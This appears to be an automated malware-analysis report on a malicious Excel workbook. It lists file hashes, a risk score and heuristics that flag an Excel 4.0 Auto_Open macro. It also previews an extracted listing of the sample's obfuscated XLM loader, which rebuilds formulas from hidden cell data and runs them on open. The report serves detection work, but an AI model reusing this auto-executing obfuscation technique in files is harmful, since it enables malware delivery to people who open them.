Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 85d787b140f04a93…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:47:01 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: d4fb0626875f6e35ae578ecd4a10966e SHA-1: 5e63193009089e628f6818efe6d064b9402e41f8 SHA-256: 85d787b140f04a93dbdf52e2e89d689b7c3a4559326154b2d573613e9d122c62
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6541 bytes
SHA-256: b96b6cb8d4d2cae153e2af62f75c0e47c62c9d148b284d40070be0b5cadd3fc9
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  BQigJDXz
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F176 
' 0018     21 LABEL : Cell Value, String Constant - BfLhee len=0 
' 0018     25 LABEL : Cell Value, String Constant - ByXQhiCaXv len=0 
' 0018     27 LABEL : Cell Value, String Constant - cJnmxDYDoije len=0 
' 0018     20 LABEL : Cell Value, String Constant - cYcwJ len=0 
' 0018     22 LABEL : Cell Value, String Constant - DPuGNOB len=0 
' 0018     25 LABEL : Cell Value, String Constant - EJzSGRDZuH len=0 
' 0018     25 LABEL : Cell Value, String Constant - hBgkLAwGoq len=0 
' 0018     23 LABEL : Cell Value, String Constant - HCLRaVvk len=0 
' 0018     20 LABEL : Cell Value, String Constant - KAoJe len=0 
' 0018     24 LABEL : Cell Value, String Constant - KvulzBEua len=0 
' 0018     23 LABEL : Cell Value, String Constant - lFNOEHDQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - MMYsrMiuUuG len=0 
' 0018     21 LABEL : Cell Value, String Constant - PwvfvR len=0 
' 0018     22 LABEL : Cell Value, String Constant - qyjSmJi len=0 
' 0018     26 LABEL : Cell Value, String Constant - rUKQVvlTrho len=0 
' 0018     20 LABEL : Cell Value, String Constant - SFJTE len=0 
' 0018     24 LABEL : Cell Value, String Constant - uoYRMFvRU len=0 
' 0018     23 LABEL : Cell Value, String Constant - WFHWLdnT len=0 
' 0018     25 LABEL : Cell Value, String Constant - zedPCMFjko len=0 
' 0018     24 LABEL : Cell Value, String Constant - zKZCenYrL len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  BQigJDXz,F91,"SET.NAME("ByXQhiCaXv",VALUE("0"))",""
'  BQigJDXz,F96,"SET.NAME("qyjSmJi",ByXQhiCaXv)",""
'  BQigJDXz,F101,"SET.NAME("hBgkLAwGoq",ByXQhiCaXv)",""
'  BQigJDXz,F105,"SET.NAME("KvulzBEua",COUNTA(SFJTE))",""
'  BQigJDXz,F107,"SET.NAME("PwvfvR",COUNTA(uoYRMFvRU))",""
'  BQigJDXz,F112,[],""
'  BQigJDXz,F114,"SET.NAME("rUKQVvlTrho","")",""
'  BQigJDXz,F117,"qyjSmJi",""
'  BQigJDXz,F119,"SET.NAME("lFNOEHDQ",HLOOKUP("*",SFJTE,qyjSmJi,FALSE))",""
'  BQigJDXz,F122,"cYcwJ",""
'  BQigJDXz,F127,"SET.NAME("BfLhee",ByXQhiCaXv)",""
'  BQigJDXz,F130,[],""
'  BQigJDXz,F132,"BfLhee",""
'  BQigJDXz,F136,"WFHWLdnT",""
'  BQigJDXz,F141,"cJnmxDYDoije",""
'  BQigJDXz,F143,"KAoJe",""
'  BQigJDXz,F145,"SET.NAME("DPuGNOB",VALUE(HLOOKUP("*",uoYRMFvRU,KAoJe,FALSE)))",""
'  BQigJDXz,F150,"EJzSGRDZuH",""
'  BQigJDXz,F153,"rUKQVvlTrho",""
'  BQigJDXz,F155,"hBgkLAwGoq",""
'  BQigJDXz,F157,NEXT(),""
'  BQigJDXz,F160,"MMYsrMiuUuG",""
'  BQigJDXz,F164,"SET.NAME("f",INT(T(FORMULA(T(rUKQVvlTrho)&"",""&T(MMYsrMiuUuG)))))",""
'  BQigJDXz,F168,"zedPCMFjko",""
'  BQigJDXz,F171,NEXT(),""
'  BQigJDXz,F174,RETURN(),""
'  BQigJDXz,F200,"SET.NAME("HCLRaVvk",F91)",""
'  BQigJDXz,F202,"SFJTE",""
'  BQigJDXz,F204,"SET.NAME("uoYRMFvRU",R43C15)",""
'  BQigJDXz,F206,"SET.NAME("zedPCMFjko",216)",""
'  BQigJDXz,F211,"SET.NAME("zKZCenYrL",6)",""
'  BQigJDXz,F215,HCLRaVvk(),""
'  BQigJDXz,F216,HALT(),""